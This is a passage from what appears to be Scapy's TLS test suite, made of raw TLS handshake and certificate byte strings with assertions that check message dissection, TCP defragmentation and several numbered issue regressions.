bb\\xd9\\xdf\\xbc\\x1f\\x8aq\\xb5\\x93\\x94#\\x97\\xaa\\x92{G8W\\x95\\n\\xabR\\xe8\\x1a\\x90\\x96d6\\x8e\\x1e\\xd1\\x85\\x00\\x00\\x01icH\\xf8\\x9b\\x00\\x00\\x04\\x03\\x00G0E\\x02 =\\xab\\xac\\xefa \\xc3\\xf3J\\xbb] w8\\xc1+\\xa9\\x1b8\\xcc\\x94LP,T\\xe0\\x07\\xe8\\x87\\x93s\\xf5\\x02!\\x00\\xf4D\\x0e\\x86a\\xc9M\\x8b\\xc5\\xf8\\xec\\x821\\x9b\\xbf]^\\xacB1p\\xfc\\x8a\\n\\x07\\xefz\\xb6\\x82 \\xe0\\xd5\\x00v\\x00D\\x94e.\\xb0\\xee\\xce\\xaf\\xc4@\\x07\\xd8\\xa8\\xfe(\\xc0\\xda\\xe6\\x82\\xbe\\xd8\\xcb1\\xb5?\\xd33\\x96\\xb5\\xb6\\x81\\xa8\\x00\\x00\\x01icH\\xf8\\xdb\\x00\\x00\\x04\\x03\\x00G0E\\x02 ]\\x91\\x03.5\\xaaA\\xa82\\xf4Bg\\x08\\xf7\\xf1\\x948N\\x08,\\xf5\\x96\\x01\\x08\\xdcM]&7J\\xebv\\x02!\\x00\\xeb\\x90\\r\\xd5k\\xf9\\xa3L<\\xc67]\\xc5]\\x16\\xb2\\x10\\xed\\xd5\\x9b\\xec\\xdc$\\xe1\\xd5r+\\x99\\x19\\xdbb\\xe4\\x00w\\x00\\\\\\xdcC\\x92\\xfe\\xe6\\xabED\\xb1^\\x9a\\xd4V\\xe6\\x107\\xfb\\xd5\\xfaG\\xdc\\xa1s\\x94\\xb2^\\xe6\\xf6\\xc7\\x0e\\xca\\x00\\x00\\x01icH\\xf8\\xe5\\x00\\x00\\x04\\x03\\x00H0F\\x02!\\x00\\x8f\\xf5W\\xd5 \\xea\\x02\\xc4v\\x1b\\xd0h\\x03\\xe7`\\xec\\xdfp\\xd7\\xb8\\x10\\xd9nb7\\xadDp\\xf6V\\xa0l\\x02!\\x00\\xa9\\x935\\x94\\xe3\\xdb')\n    assert raw(p[TCP].payload) == b'\\x16\\x03\\x03\\x0e4\\x02\\x00\\x00M\\x03\\x03^\\xfa\\xb5~\\x88\\xdf\\xdc#}\\'\\xa0\\xff\\xa2\\xe2\\xb5\\xec\\x0e\\x93\\xa8\\xe0\\xde\\x01[\\x13[F\\x151 x\\xc6\\xcc `)\\x00\\x00\\x8aZ\\x90l\\xda\\x0b\\xe1\\xec[i\\x13\\xa7\\x8e\\xb9a\\x98\"\\x8a7L\\x9d\\x90\\xe0\\x01\\x06c$9\\xc0\\'\\x00\\x00\\x05\\xff\\x01\\x00\\x01\\x00\\x0b\\x00\\x0c\\x8e\\x00\\x0c\\x8b\\x00\\x06n0\\x82\\x06j0\\x82\\x05R\\xa0\\x03\\x02\\x01\\x02\\x02\\x10EY\\xe8\\x1c\\x1e\\x9a\\xe0?X\\xaa\\xc3\\xbc\\xcd`jh0\\r\\x06\\t*\\x86H\\x86\\xf7\\r\\x01\\x01\\x0b\\x05\\x000\\x81\\x8f1\\x0b0\\t\\x06\\x03U\\x04\\x06\\x13\\x02GB1\\x1b0\\x19\\x06\\x03U\\x04\\x08\\x13\\x12Greater Manchester1\\x100\\x0e\\x06\\x03U\\x04\\x07\\x13\\x07Salford1\\x180\\x16\\x06\\x03U\\x04\\n\\x13\\x0fSectigo Limited1705\\x06\\x03U\\x04\\x03\\x13.Sectigo RSA Domain Validation Secure Server CA0\\x1e\\x17\\r190309000000Z\\x17\\r210308235959Z0W1!0\\x1f\\x06\\x03U\\x04\\x0b\\x13\\x18Domain Control Validated1\\x1d0\\x1b\\x06\\x03U\\x04\\x0b\\x13\\x14PositiveSSL Wildcard1\\x130\\x11\\x06\\x03U\\x04\\x03\\x0c\\n*.mql5.net0\\x82\\x01\"0\\r\\x06\\t*\\x86H\\x86\\xf7\\r\\x01\\x01\\x01\\x05\\x00\\x03\\x82\\x01\\x0f\\x000\\x82\\x01\\n\\x02\\x82\\x01\\x01\\x00\\xcb\\xbcn=\\xbaGd\\xe1XB\\x07\\xc9\\xb1\\xc8/\\x86\\xaa4Z\\xbdNk\\xfb\\xffR\\x8f\\xe4\\x1c^\\x91m8\\xb9^\\x97\\xa5\\xd3N\\xfb\\x80\\x92\\x8ap\\xda\\x15\\x9f\\xee\\xe7\\xb3\\xc8?\\xb0>~\\xaa\\x07\\x91\\xb1\\x99q\\xe2\\xe5\\xc8\\x9b\\x1d5\\xa0\\x96,\\x98\\xdaW\\x93\\x95\\x8e%\\xe8\\xd4L\\xeb\\xcbSg\\x15\"\\xba\\xb7\\xc7\\x1f\\xe9\\xd6\\x1a\\xe6E\\x1d\\xc8\\x1e%\\xd36\\xe0/r\\xd1\\xce1C\\xce\\x91&\\xa1\\x08*R\\xbf\\x8cu\\xb0\\xda\\x0e\\x1e2\\xd66\\x1df&3\\x9b\\x03\\x0b\\xcam:\\xf7\\x12\\xd9ud(\\xae\\xdc\\xbci\\x85\\xbd\\xcf\\xeb{\\x15:\\xbd\\x0e\\x11\\x1bi\\xd8\\xff]y~E\\x15\\x95\\xee\\xe9\\xea\\xc6Cr</\\x0b\\xe8\\xc2\\x9d\\xe3\\x83\\x07R\\xeb1\\xf0\\x93<|.\\xf8G\\xab\\xa8=\\xac\\x16\\x1d\\xf9\\x93%\\x1b;)\\xb2FN\\x15\\xc4\\x17\\xa9}\\xb0\\x80\\xba\\xfb\\xc8\\x15-G\\x9e\\x05\\xe9\\xf6\\xc76\\xc1\\x9af\\xa3\\x91\\n\\xa4\\x80,\\x11=\\x87\\xec\\xf9\\xd6iJ\\xd0\\xbe\\xc3K\\x99J\\xe7&\\xc4\\x86\\x84:W\\xc4/\\x7f\\x02\\x03\\x01\\x00\\x01\\xa3\\x82\\x02\\xf70\\x82\\x02\\xf30\\x1f\\x06\\x03U\\x1d#\\x04\\x180\\x16\\x80\\x14\\x8d\\x8c^\\xc4T\\xad\\x8a\\xe1w\\xe9\\x9b\\xf9\\x9b\\x05\\xe1\\xb8\\x01\\x8da\\xe10\\x1d\\x06\\x03U\\x1d\\x0e\\x04\\x16\\x04\\x14z\\x87\\xb6T\\xcbt:a\\x03\\xef:\\x1f_\\xad\\xc0\\x1cT\\x15\\x9d\\xe30\\x0e\\x06\\x03U\\x1d\\x0f\\x01\\x01\\xff\\x04\\x04\\x03\\x02\\x05\\xa00\\x0c\\x06\\x03U\\x1d\\x13\\x01\\x01\\xff\\x04\\x020\\x000\\x1d\\x06\\x03U\\x1d%\\x04\\x160\\x14\\x06\\x08+\\x06\\x01\\x05\\x05\\x07\\x03\\x01\\x06\\x08+\\x06\\x01\\x05\\x05\\x07\\x03\\x020I\\x06\\x03U\\x1d \\x04B0@04\\x06\\x0b+\\x06\\x01\\x04\\x01\\xb21\\x01\\x02\\x02\\x070%0#\\x06\\x08+\\x06\\x01\\x05\\x05\\x07\\x02\\x01\\x16\\x17https://sectigo.com/CPS0\\x08\\x06\\x06g\\x81\\x0c\\x01\\x02\\x010\\x81\\x84\\x06\\x08+\\x06\\x01\\x05\\x05\\x07\\x01\\x01\\x04x0v0O\\x06\\x08+\\x06\\x01\\x05\\x05\\x070\\x02\\x86Chttp://crt.sectigo.com/SectigoRSADomainValidationSecureServerCA.crt0#\\x06\\x08+\\x06\\x01\\x05\\x05\\x070\\x01\\x86\\x17http://ocsp.sectigo.com0\\x1f\\x06\\x03U\\x1d\\x11\\x04\\x180\\x16\\x82\\n*.mql5.net\\x82\\x08mql5.net0\\x82\\x01\\x7f\\x06\\n+\\x06\\x01\\x04\\x01\\xd6y\\x02\\x04\\x02\\x04\\x82\\x01o\\x04\\x82\\x01k\\x01i\\x00v\\x00\\xbb\\xd9\\xdf\\xbc\\x1f\\x8aq\\xb5\\x93\\x94#\\x97\\xaa\\x92{G8W\\x95\\n\\xabR\\xe8\\x1a\\x90\\x96d6\\x8e\\x1e\\xd1\\x85\\x00\\x00\\x01icH\\xf8\\x9b\\x00\\x00\\x04\\x03\\x00G0E\\x02 =\\xab\\xac\\xefa \\xc3\\xf3J\\xbb] w8\\xc1+\\xa9\\x1b8\\xcc\\x94LP,T\\xe0\\x07\\xe8\\x87\\x93s\\xf5\\x02!\\x00\\xf4D\\x0e\\x86a\\xc9M\\x8b\\xc5\\xf8\\xec\\x821\\x9b\\xbf]^\\xacB1p\\xfc\\x8a\\n\\x07\\xefz\\xb6\\x82 \\xe0\\xd5\\x00v\\x00D\\x94e.\\xb0\\xee\\xce\\xaf\\xc4@\\x07\\xd8\\xa8\\xfe(\\xc0\\xda\\xe6\\x82\\xbe\\xd8\\xcb1\\xb5?\\xd33\\x96\\xb5\\xb6\\x81\\xa8\\x00\\x00\\x01icH\\xf8\\xdb\\x00\\x00\\x04\\x03\\x00G0E\\x02 ]\\x91\\x03.5\\xaaA\\xa82\\xf4Bg\\x08\\xf7\\xf1\\x948N\\x08,\\xf5\\x96\\x01\\x08\\xdcM]&7J\\xebv\\x02!\\x00\\xeb\\x90\\r\\xd5k\\xf9\\xa3L<\\xc67]\\xc5]\\x16\\xb2\\x10\\xed\\xd5\\x9b\\xec\\xdc$\\xe1\\xd5r+\\x99\\x19\\xdbb\\xe4\\x00w\\x00\\\\\\xdcC\\x92\\xfe\\xe6\\xabED\\xb1^\\x9a\\xd4V\\xe6\\x107\\xfb\\xd5\\xfaG\\xdc\\xa1s\\x94\\xb2^\\xe6\\xf6\\xc7\\x0e\\xca\\x00\\x00\\x01icH\\xf8\\xe5\\x00\\x00\\x04\\x03\\x00H0F\\x02!\\x00\\x8f\\xf5W\\xd5 \\xea\\x02\\xc4v\\x1b\\xd0h\\x03\\xe7`\\xec\\xdfp\\xd7\\xb8\\x10\\xd9nb7\\xadDp\\xf6V\\xa0l\\x02!\\x00\\xa9\\x935\\x94\\xe3\\xdb'\n\n= Test TLS TCP defragmentation\n\nimport os\n\nfilename = scapy_path(\"/test/pcaps/tls_tcp_frag.pcap.gz\")\n\nwith no_debug_dissector():\n    a = sniff(offline=filename, session=TCPSession)[0]\n\nassert len(a.msg) == 4\nassert isinstance(a.msg[0], TLSServerHello)\nassert isinstance(a.msg[1], TLSCertificate)\nassert isinstance(a.msg[2], TLSServerKeyExchange)\nassert isinstance(a.msg[3], TLSServerHelloDone)\n\nassert a.wirelen is None\nassert a[TCP].seq == 7808002\n\n= Issue 2527\n\np = TLS(b'\\x16\\x03\\x00\\x05\\'\\x02\\x00\\x00&\\x03\\x00\\x00\\x00\\x00\\x00\\x7fk77\\n\\xe2\\x1d\\xdf\\x82e\\x06p$\\xbaV7_\\xa9\\xb1\\x03\\x01\\x0c\\x0c\\x18\\x90\\x00H\\x01\\x00\\x00\\x03\\x00\\x0b\\x00\\x03\\xa8\\x00\\x03\\xa5\\x00\\x03\\xa20\\x82\\x03\\x9e0\\x82\\x02\\x86\\xa0\\x03\\x02\\x01\\x02\\x02\\t\\x00\\xfe\\x04W\\r\\xc7\\'\\xe9\\xf60\\r\\x06\\t*\\x86H\\x86\\xf7\\r\\x01\\x01\\x0b\\x05\\x000T1\\x0b0\\t\\x06\\x03U\\x04\\x06\\x13\\x02MN1\\x140\\x12\\x06\\x03U\\x04\\x07\\x0c\\x0bUlaanbaatar1\\x170\\x15\\x06\\x03U\\x04\\x0b\\x0c\\x0eScapy Test PKI1\\x160\\x14\\x06\\x03U\\x04\\x03\\x0c\\rScapy Test CA0\\x1e\\x17\\r160916102811Z\\x17\\r260915102811Z0X1\\x0b0\\t\\x06\\x03U\\x04\\x06\\x13\\x02MN1\\x140\\x12\\x06\\x03U\\x04\\x07\\x0c\\x0bUlaanbaatar1\\x170\\x15\\x06\\x03U\\x04\\x0b\\x0c\\x0eScapy Test PKI1\\x1a0\\x18\\x06\\x03U\\x04\\x03\\x0c\\x11Scapy Test Server0\\x82\\x01\"0\\r\\x06\\t*\\x86H\\x86\\xf7\\r\\x01\\x01\\x01\\x05\\x00\\x03\\x82\\x01\\x0f\\x000\\x82\\x01\\n\\x02\\x82\\x01\\x01\\x00\\xcc\\xf1\\xf1\\x9b`-`\\xae\\xf2\\x98\\r\\')\\xd9\\xc0\\tYL\\x0fJ0\\xa8R\\xdf\\xe5\\xb1!\\x9fO\\xc3=V\\x93\\xdd_\\xc6\\xf7\\xb3\\xf6U\\x8b\\xe7\\x92\\xe2\\xde\\xf2\\x85I\\xb4\\xa1,\\xf4\\xfdv\\xa8g\\xca\\x04 `\\x11\\x18\\xa6\\xf2\\xa9\\xb6\\xa6\\x1d\\xd9\\xaa\\xe5\\xd9\\xdb\\xaf\\xe6\\xafUW\\x9f\\xffR\\x89e\\xe6\\x80b\\x80!\\x94\\xbc\\xcf\\x81\\x1b\\xcbg\\xc2\\x9d\\xb5\\x05w\\x04\\xa6\\xc7\\x88\\x18\\x80xh\\x956\\xde\\x97\\x1b\\xb6a\\x87B\\x1au\\x98E\\x82\\xeb>2\\x11\\xc8\\x9b\\x86B9\\x8dM\\x12\\xb7X\\x1b\\x19\\xf3\\x9d+\\xa1\\x98\\x82\\xca\\xd7;$\\xfb\\t9\\xb0\\xbc\\xc2\\x95\\xcf\\x82)u\\x16)?B \\x17+M@\\x8cVl\\xad\\xba\\x0f4\\x85\\xb1\\x7f@yqx\\xb7\\xa5\\x04\\xbb\\x94\\xf7\\xb5A\\x95\\xee|\\xeb\\x8d\\x0cyhY\\xef\\xcb\\xb3\\xfa>x\\x1e\\xeegLz\\xdd\\xe0\\x99\\xef\\xda\\xe7\\xef\\xb2\\t]\\xbe\\x80 !\\x05\\x83,D\\xdb]*v)\\xa5\\xb0#\\x88t\\x07T\"\\xd6)z\\x92\\xf5o-\\x9e\\xe7\\xf8&+\\x9cXe\\x02\\x03\\x01\\x00\\x01\\xa3o0m0\\t\\x06\\x03U\\x1d\\x13\\x04\\x020\\x000\\x0b\\x06\\x03U\\x1d\\x0f\\x04\\x04\\x03\\x02\\x05\\xe00\\x1d\\x06\\x03U\\x1d\\x0e\\x04\\x16\\x04\\x14\\xa1+ p\\xd2k\\x80\\xe5e\\xbc\\xeb\\x03\\x0f\\x88\\x9ft\\xad\\xdd\\xf6\\x130\\x1f\\x06\\x03U\\x1d#\\x04\\x180\\x16\\x80\\x14fS\\x94\\xf4\\x15\\xd1\\xbdgh\\xb0Q725\\xe1\\xa4\\xaa\\xde\\x07|0\\x13\\x06\\x03U\\x1d%\\x04\\x0c0\\n\\x06\\x08+\\x06\\x01\\x05\\x05\\x07\\x03\\x010\\r\\x06\\t*\\x86H\\x86\\xf7\\r\\x01\\x01\\x0b\\x05\\x00\\x03\\x82\\x01\\x01\\x00\\x81\\x88\\x92sk\\x93\\xe7\\x95\\xd6\\xddA\\xee\\x8e\\x1e\\xbd\\xa3HX\\xa7A5?{}\\xd07\\x98\\x0e\\xb8,\\x94w\\xc8Q6@\\xadY\\t(\\xc8V\\xd6\\xea[\\xac\\xb4\\xd8?h\\xb7f\\xca\\xe1V7\\xa9\\x00e\\xeaQ\\xc9\\xec\\xb2iI]\\xf9\\xe3\\xc0\\xedaT\\xc9\\x12\\x9f\\xc6\\xb0\\nsU\\xe8U5`\\xef\\x1c6\\xf0\\xda\\xd1\\x90wV\\x04\\xb8\\xab8\\xee\\xf7\\t\\xc5\\xa5\\x98\\x90#\\xea\\x1f\\xdb\\x15\\x7f2(\\x81\\xab\\x9b\\x85\\x02K\\x95\\xe77Q{\\x1bH.\\xfb>R\\xa3\\r\\xb4F\\xa9\\x92:\\x1c\\x1f\\xd7\\n\\x1eXJ\\xfa.Q\\x8f)\\xc6\\x1e\\xb8\\x0e1\\x0es\\xf1\\'\\x88\\x17\\xca\\xc8i\\x0c\\xfa\\x83\\xcd\\xb3y\\x0e\\x14\\xb0\\xb8\\x9b/:-\\t\\xe3\\xfc\\x06\\xf0:n\\xfd6;+\\x1a\\t*\\xe8\\xab_\\x8c@\\xe4\\x81\\xb2\\xbc\\xf7\\x83g\\x11nN\\x93\\xea\"\\xaf\\xff\\xa3\\x9awWv\\xd0\\x0b8\\xac\\xf8\\x8a\\x945\\x8e\\xd7\\xd4a\\xcc\\x01\\xff$\\xb4\\x8fa#\\xba\\x88\\xd7Y\\xe4\\xe9\\xba*N\\xb5\\x15\\x0f\\x9c\\xd0\\xea\\x06\\x91\\xd9\\xde\\xab\\x0c\\x00\\x01I\\x00@\\xd1L\\xf3\\xe7\\x8b\\xdd\\x98\\xff\\xb2\\xf5Rd\\xd6\\x85\\x0f\\r{\\x9f\\xc2\\xc0\\x8aY\\xbf.\\xfb\\xf0o\\x96\\xa5\\xba;\\x877qet\\xe8\\xe4K\\xd7\\xcb\\xb8\\xecAk>S\\xe0\\xa5\\xc3\\xfc\\xe8\\xde\\xf1\\xb0\\xe5\\x15s|\\xb7\\xe6D\\x15+\\x00\\x03\\x01\\x00\\x01\\x01\\x00H\\xf1\\x08\\x88\\xe9\\xf8\\xe6\\xb2y\\\\\\xf9\\xf64\\x95r\\xf9\\x8c]\\x0b\\x88%s\\xee{\\xd4\\xa3{|Jd>\\xfb\\x01\\x0b\\xfdAf\\xea\\x13%\\x1f\\xcc\\xba\\xf8H\\xed\\xeb?u\\x00\\xc46\\xe4\\x9f!r\\x99\\xec\\'!\\xa1+\\xe9\\xcd;\\xfa\\x00a\\xd1ME7\\x9a\\xc3C\\xb2\\xb0>\\xec\\x07\\xff>\\xb3\\xa3\\xbd\\x8db\\xa2\\x17\\x0b\\xce\\xe1H\\xaf\\xba_\\xdc\\x18\\x83Fr^\\xf6\\xfd\\x8f\\xbd\\xc1\\xdf\\xc3\\xf9T\\xc2RC\\xfa1\\xe1\\x16\\x94RgZ\\xb1\\xe8rycp\\xaeEa@\\xe2\\xb7T\\xe4\\xaa7\\x02\\x1e\\xb3\\x0c_P\\x14\\xd9\\x023]\\xc9)\\x1b\\xd7]\\xba\\x8aS\\x18\\xe5\\x88\\x1e08W\\xc7\\xd5\\xc0\\x7f\\xf6n\\n>\\x83_\\r\\t\\x1f\\x01\\x99\\xda\\x88(\\xbc\\xd9\\xb8!=\\xb6%\\x15wh\\xacl)\\xde\\xb3-\\x81M\\xc6(,\\xceom\\x15W7\\xcc\\xd3\\xe3\\xc2e\\xb4\\x96\\xf1\\xfc\\x1e\\xa5?\\xe1B\\xbd\\x00\\x89\\xc1\\xd0t\\xd6\\xaa\\xf8\\xa7\\x1f\\xa1z}\\x91M\\x8egg\\xa1}\\x93\\xaal\\xec\\x16@\\xf3\\xd7\\x0b\\x91\\n\\xcc\\x0e\\x00\\x00\\x00')\n\nassert p.msg[0].extlen is None\nassert p.msg[0].ext == []\nassert [type(x) for x in a.msg] == [TLSServerHello, TLSCertificate, TLSServerKeyExchange, TLSServerHelloDone]\n\n= Issue 2778\n\nr1 = TLS(b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf8\\xb3\\xdb\\xcbp\\xed8\\x04\\x00\\x9c\\x15\\xafJB\\x98r\\x06\\x19\\xb7\\r\\x1a\\xd4\\xf2M\\x0e\\x99\\xde\\x9e\\x93\\xce<; \\x1c;,\\xf3&k\\xcb\\xa1\\x9b)G\\x9e\\xc6o\\xe8\\x15\\xf7\\xdb\\nk\\x97a\\x11\\xf7\\tX9^z\\xee\\xba\\xba\\x00>\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\x00\\x9f\\xcc\\xa9\\xcc\\xa8\\xcc\\xaa\\xc0+\\xc0/\\x00\\x9e\\xc0$\\xc0(\\x00k\\xc0#\\xc0'\\x00g\\xc0\\n\\xc0\\x14\\x009\\xc0\\t\\xc0\\x13\\x003\\x00\\x9d\\x00\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01u\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x183t\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xe8A\\x0fZ\\xb0\\x9d\\x96\\xb0_\\x10\\x18<\\xcd\\x9e\\x93\\xa0W\\xa72\\x90\\xb4\\xc9\\xe1\\xc2T\\xcd\\xfc)\\x9f\\xc0\\x1dA\\x00\\x15\\x00\\xd0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\")\nr2 = TLS(b'\\x16\\x03\\x03\\x00U\\x02\\x00\\x00Q\\x03\\x03 \\xa5@2G~\\xa3\\xa9c\\xb8\\xa7\\x00\\t\\x04Y\\xf1\\x1f\\x1fJ\\xd1\\x89n\\x1dut[~+\\xdcQ\\xdd\\xe0 \\x06\\x00\\xf5R\\xdblQ\\xb9z0\\x97\\x17\\xff\\x84{\\xb6\\xe8\\xfe\\xf1\\xce&\\x01TD\\x13\\xfd\\xa7\\xb6`u\\xb8\\x87\\x00\\x9d\\x00\\x00\\t\\xff\\x01\\x00\\x01\\x00\\x00\\x17\\x00\\x00\\x16\\x03\\x03\\x03n\\x0b\\x00\\x03j\\x00\\x03g\\x00\\x03d0\\x82\\x03`0\\x82\\x02H\\xa0\\x03\\x02\\x01\\x02\\x02\\t\\x00\\xebs\\xb7\\x1c>/\\x9f\\xdc0\\r\\x06\\t*\\x86H\\x86\\xf7\\r\\x01\\x01\\x0b\\x05\\x000E1\\x0b0\\t\\x06\\x03U\\x04\\x06\\x13\\x02AU1\\x130\\x11\\x06\\x03U\\x04\\x08\\x0c\\nSome-State1!0\\x1f\\x06\\x03U\\x04\\n\\x0c\\x18Internet Widgits Pty Ltd0\\x1e\\x17\\r190215151403Z\\x17\\r290212151403Z0E1\\x0b0\\t\\x06\\x03U\\x04\\x06\\x13\\x02AU1\\x130\\x11\\x06\\x03U\\x04\\x08\\x0c\\nSome-State1!0\\x1f\\x06\\x03U\\x04\\n\\x0c\\x18Internet Widgits Pty Ltd0\\x82\\x01\"0\\r\\x06\\t*\\x86H\\x86\\xf7\\r\\x01\\x01\\x01\\x05\\x00\\x03\\x82\\x01\\x0f\\x000\\x82\\x01\\n\\x02\\x82\\x01\\x01\\x00\\xd2\\xf7\\xd3k#:V\\x196\\x8f\\xc3\\xa7\\xdb\\x0f#d\\xdcq\\x98m\\xd4\\xee\\xbc\\xbe\\xe8[x>\\x13\\x9c\\xfe\\xb0\\xa8\\r\\xe5\\x01G\\xc96\\xaa\\x84#\\x0e/\\xa2\\xeb\\x91\\xef\\x177A\\x03\\x87\\xb92D\\n\\xc7\\xcf\\xda<Yf\\xee\\xf8\\x8fh\\x8b\\xcb\\xeej]\\r\\xfa\\xa0u\\xb7}\\xfe\\x83o,\\xb3\\x187_\\xf5\\xbe+5\\xf6\\xd6-\\xd7\\xc4\\xb1G\"Og\\xd5=\\x95\\xc7\\xfc\\xc1\\x1c\\xda{\\xc6\"6\\x9bMJhVU\\x16\\x9f\\xb2\\x8ff\\xe5\\x11rO\\x0c\\x9a\\xf2\\xf7N\\xa4\\xcd\\xf0\\x9b\\x92\\xf9\\x17$jX/g\\xfa\\xde>\\xff~\\xca,yMq<\\x13\\xf8\\x0c\\xd5?\\x84z\\xa1\\x96\\xd0\\xad\\xc0D\\x94y\\nb\\x8e2\\x7fKS\\xd0[\\x83\\x02\\\\>\\xa5A\\x19_\\x95<\\xe6\\xfc7\\xed\\xcch\\xa8\\xfdn\\xcab\\x1f8\\xbc\\x08\\xbc-\\x8dr\\xcf\\xcd\\xf8\\\\h\\xf9\\xf4\\xf4H[2\\x13<c)\\x9f\\x85\\xff\\xd6+\\xdeZ\\x9dX^Z\\x89o\\x081\\x94H\\'\\x7f\\x19\\xe8m]hx\\xbcSv\\x8b.\\xf9\\xb3!\\x02\\x03\\x01\\x00\\x01\\xa3S0Q0\\x1d\\x06\\x03U\\x1d\\x0e\\x04\\x16\\x04\\x14\\x82\\x97\\xfb\\x8c\\xf3\\xd9\\xdd\\xf2\\xf6\\x0e\\xc9\\x0f\\x92\\x81\\\\(\\xe3\\xf3\\xff50\\x1f\\x06\\x03U\\x1d#\\x04\\x180\\x16\\x80\\x14\\x82\\x97\\xfb\\x8c\\xf3\\xd9\\xdd\\xf2\\xf6\\x0e\\xc9\\x0f\\x92\\x81\\\\(\\xe3\\xf3\\xff50\\x0f\\x06\\x03U\\x1d\\x13\\x01\\x01\\xff\\x04\\x050\\x03\\x01\\x01\\xff0\\r\\x06\\t*\\x86H\\x86\\xf7\\r\\x01\\x01\\x0b\\x05\\x00\\x03\\x82\\x01\\x01\\x00<\\x00\\x1f\\x0f]\\x10`r\\xe0\\xbe\\xed\\xfaG\\x89S)\\xd4b4\"\\x08\\x0ef\\xca\\xa4\\xbe\\xb4\\xc3\\xd9\\xb6\\x86\\x8f\\xa1\\x07F}a`\\xe5\\x12\\xed\\xe7\\xcb\\xbe\\xfd\\xeb\\x17\\xc0\\x9b\\x9fYO\\x86\\xf1\\xa9\\x92,\\x98,\\xcf\\x96U\\xd4\\xd6~\\xda\\x06\\x1ff~\\xeb%\\xfer\\x03\\xbe\\xa0\\x0e@\\xf1P\\xa4\\x90\\xa7\\x8c\\xa9c\\xd8|\\x18Z\\xde\\x8b|)OPR\\xfb\\x1e\\x1e\\xdb4\\x03\\x83\\x1e3\\xe4\\x02l\\x8eVq|\\xb7{\\xc3#!\\x85\\x8b\\xe3zw\\xfe\\x7fU\\x11\\xef\\x8c \\x13\\xc8n\\'0\\xc5\\xb26hu\\x13\\x1c\\xae\\x0cv\\x16\\xfd\\xc7\\xc8`V\\x96\\x13>zh_  <\\r\\xb8\\xe0\\xff\\x1d\\x1aY\\x91\\xd2\\xf0X\\xf4\\x8f \\xb1\\n_\\xb0\\xdf\\'\\xa1\\xf9\\x87L\\xc0\\xfe\\x8dn\\xbfw\\xe9\\xa7\\xba8I\\x0e\\x9dc$\\x1a\\x0f\\xb3\\xfdw\\x01\\xff;\\x13\\x0c\\x9a\\xa7\\xaaww\\x02\\x80\\xb7\\x00<\\x1b\\xb5\\xe0xL4\\xaa\\xcbt\\xce\\x81\\x14\\x96\\x0eP\\xee\\xe0F\\x02\\xa7\\xab \\xe5\\xc8x\\x02\\x8eB\\x92\\xe9\\x0e@\\xfdc\\x1f\\xee\\x16\\x03\\x03\\x00\\x04\\x0e\\x00\\x00\\x00', tls_session=r1.tls_session.mirror())\nassert r2.tls_session.tls_version == 0x303\n\n= PR/Issue 3295\n\npkt = TLSServerHello(b\"\\x02\\x00\\x00\\x28\\x03\\x03ABCDEFGHIJKLMNOPQRSTUVWXYZ012345\\x00\\x00\\x39\\x00\\x00\\x00\")\nassert pkt.extlen == 0\nassert pkt.ext == []\n\n= Issue 3324 - FFDH support\n\n# Dissection\n\nhex_data = \"16030102a8010002a4030330cc71861d50119dbe2b9c3a5207b7eff49aff19408096b32926d6fe8a4878e520c03832cba05660b5facc4b9991f3b006d326325ab1e0a9463287271952f4235f0004130200ff0100025700000020001e00001b6578616d706c653132333435362e6d79636f6d70616e792e636f6d000a000400020102002300000016000000170000000d000400020403002b0003020304002d00020101003302060204010202003476f00e12d8c768be0bd6db6af9e539441edd84b87178e8843bb2febc4b2097ac9619e65ed61837550e51834c32c7cb007b9b9a2f129d7127ee9f8bcbc2ba2141677300bc660d080d32257731d8d795bda7467df240cf07e8f1cde33bfc1f168385babee0f5834269f3c1070f7d89b3b9607b474edd306af54638d14e58cdc524b8972035a762dc446ef95b30a8c5e06876804ec9fb180f0255ea93b1438336e414761e1e1e2772909ce3fadc5282674337267f9697204b81a0b3ded2a3ecb03b46c1a4